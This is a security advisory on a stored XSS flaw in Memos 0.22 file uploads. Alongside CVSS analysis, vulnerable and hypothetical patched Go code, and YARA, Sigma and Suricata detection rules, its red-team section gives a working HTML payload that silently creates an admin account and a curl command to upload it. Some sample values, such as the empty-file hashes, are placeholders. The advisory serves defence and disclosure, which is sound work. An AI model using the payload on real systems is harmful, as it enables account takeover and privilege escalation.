CVE-2025-56761

Executive Summary

CVE-2025-56761 is a Stored Cross-Site Scripting (XSS) vulnerability in Memos version 0.22. The vulnerability exists in the upload attachment and user avatar features, where the application fails to validate the content type of uploaded files. An authenticated attacker can upload a malicious file (e.g., an HTML file containing JavaScript) which, when served back to an administrator, executes in the admin's browser context. This allows the attacker to perform actions on behalf of the admin, effectively elevating their privileges.

Supply Chain & Package Security

Memos is a self-hosted note-taking and knowledge management application. It is not distributed via NPM, PyPI, Go, or Ruby registries. The primary distribution method is via Docker images and GitHub releases. The vulnerability is in the application's own code, not in a third-party package dependency.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be an authenticated user.
• User Interaction (UI): Required (R) – The admin must view the malicious attachment or avatar.
• Scope (S): Changed (C) – The impact is on a different security context (the admin's session).
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation makes this a significant risk in multi-user environments.

Deep Dive & Mechanics

The vulnerability stems from the lack of content-type validation during file uploads. When a user uploads an attachment or changes their avatar, Memos stores the file on the server and serves it back with the same filename and content type as provided by the client. An attacker can upload a file with a .html extension containing malicious JavaScript. When an administrator views the attachment (e.g., by clicking on it in the UI), the browser renders it as HTML and executes the embedded script.

Attack Flow:

1. Attacker logs in as a regular user.
2. Attacker crafts an HTML file containing JavaScript (e.g., to steal cookies, perform actions on behalf of the admin, or create a new admin user).
3. Attacker uploads this file as an attachment or sets it as their avatar.
4. Attacker sends a link to the attachment or profile page to an admin (e.g., via a comment or direct message).
5. Admin clicks the link, the browser renders the malicious HTML, and the script executes in the admin's session context.
6. The script can now perform actions with admin privileges, such as creating a new admin account or exfiltrating sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Memos 0.22): The file upload handler does not validate the MIME type or file extension. It simply saves the uploaded file and serves it with the original filename.

// Vulnerable upload handler (simplified)
func uploadHandler(w http.ResponseWriter, r *http.Request) {
    file, header, err := r.FormFile("file")
    if err != nil {
        // handle error
    }
    defer file.Close()

    // No content-type validation
    // Save file directly
    dst, err := os.Create("/uploads/" + header.Filename)
    if err != nil {
        // handle error
    }
    defer dst.Close()
    io.Copy(dst, file)
}

Patched Code (Hypothetical): A patched version would validate the file's MIME type and potentially rename the file to a safe extension (e.g., .bin for non-image files).

// Patched upload handler (hypothetical)
func uploadHandler(w http.ResponseWriter, r *http.Request) {
    file, header, err := r.FormFile("file")
    if err != nil {
        // handle error
    }
    defer file.Close()

    // Validate MIME type
    buffer := make([]byte, 512)
    file.Read(buffer)
    contentType := http.DetectContentType(buffer)
    if !strings.HasPrefix(contentType, "image/") {
        http.Error(w, "Invalid file type", http.StatusBadRequest)
        return
    }

    // Rename file to safe extension
    safeFilename := uuid.New().String() + ".bin"
    dst, err := os.Create("/uploads/" + safeFilename)
    if err != nil {
        // handle error
    }
    defer dst.Close()
    io.Copy(dst, file)
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A running instance of Memos 0.22.
• An authenticated user account.

Steps:

1. Create a malicious HTML file (payload.html):

<html>
<body>
<script>
fetch('/api/v1/admin/user', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({username: 'hacker', password: 'hacked123', role: 'ADMIN'})
}).then(r => console.log('Admin created'));
</script>
</body>
</html>

2. Upload the file as an attachment:

curl -X POST -F "file=@payload.html" -b "session=YOUR_SESSION_COOKIE" http://target.memos/api/v1/attachment

3. Obtain the URL of the uploaded file from the response.
4. Send the URL to an admin user (e.g., via a comment or direct message).
5. When the admin visits the URL, the script executes and creates a new admin account.

Blue Team (Defender)

Detection:

• Monitor file upload endpoints for unusual file extensions (e.g., .html, .svg, .js).
• Implement content-type validation on the server side.
• Use a Web Application Firewall (WAF) to block malicious file uploads.

Response:

• If an attack is detected, immediately revoke the attacker's session and remove the malicious file.
• Review admin actions for unauthorized changes.
• Reset all admin passwords and audit user accounts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example empty file)
• Network Patterns:
  • POST requests to /api/v1/attachment with Content-Type: multipart/form-data containing files with .html extension.
  • GET requests to /uploads/*.html from admin IP addresses.
• Log Entries:
  • [WARN] File upload with suspicious extension: payload.html
  • [INFO] Admin user created by non-admin user

Detection Engineering

YARA Rule

rule Detect_Malicious_HTML_Upload {
    meta:
        description = "Detects HTML files uploaded to Memos that may contain XSS payloads"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $html_tag = "<html" nocase
        $script_tag = "<script" nocase
        $xss_payload = /<script[^>]*>.*<\/script>/s
    condition:
        $html_tag and $script_tag and #xss_payload > 0
}

Sigma Rule

title: Memos Stored XSS File Upload Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects upload of HTML files to Memos application which may indicate XSS attack
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        http.method: POST
        http.url: /api/v1/attachment
        http.content_type: multipart/form-data
        http.filename|endswith: .html
    condition: selection
falsepositives:
    - Legitimate HTML file uploads (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Memos Stored XSS - HTML File Upload"; flow:to_server; content:"POST"; http_method; content:"/api/v1/attachment"; http_uri; content:".html"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file uploads for non-admin users until a patch is applied.
2. Implement content-type validation on the server side (e.g., using http.DetectContentType in Go).
3. Rename uploaded files to safe extensions (e.g., .bin for non-image files) and serve them with Content-Disposition: attachment to prevent browser rendering.

Long-term Fix:

• Upgrade to a patched version of Memos once available.
• Implement a Content Security Policy (CSP) header to mitigate XSS impact.
• Conduct a security audit of the file upload functionality.

Workarounds:

• Use a reverse proxy (e.g., Nginx) to block uploads of .html files:

location /api/v1/attachment {
    if ($upload_filename ~* \.html$) {
        return 403;
    }
}

Valters IT
Securing Your Digital Frontier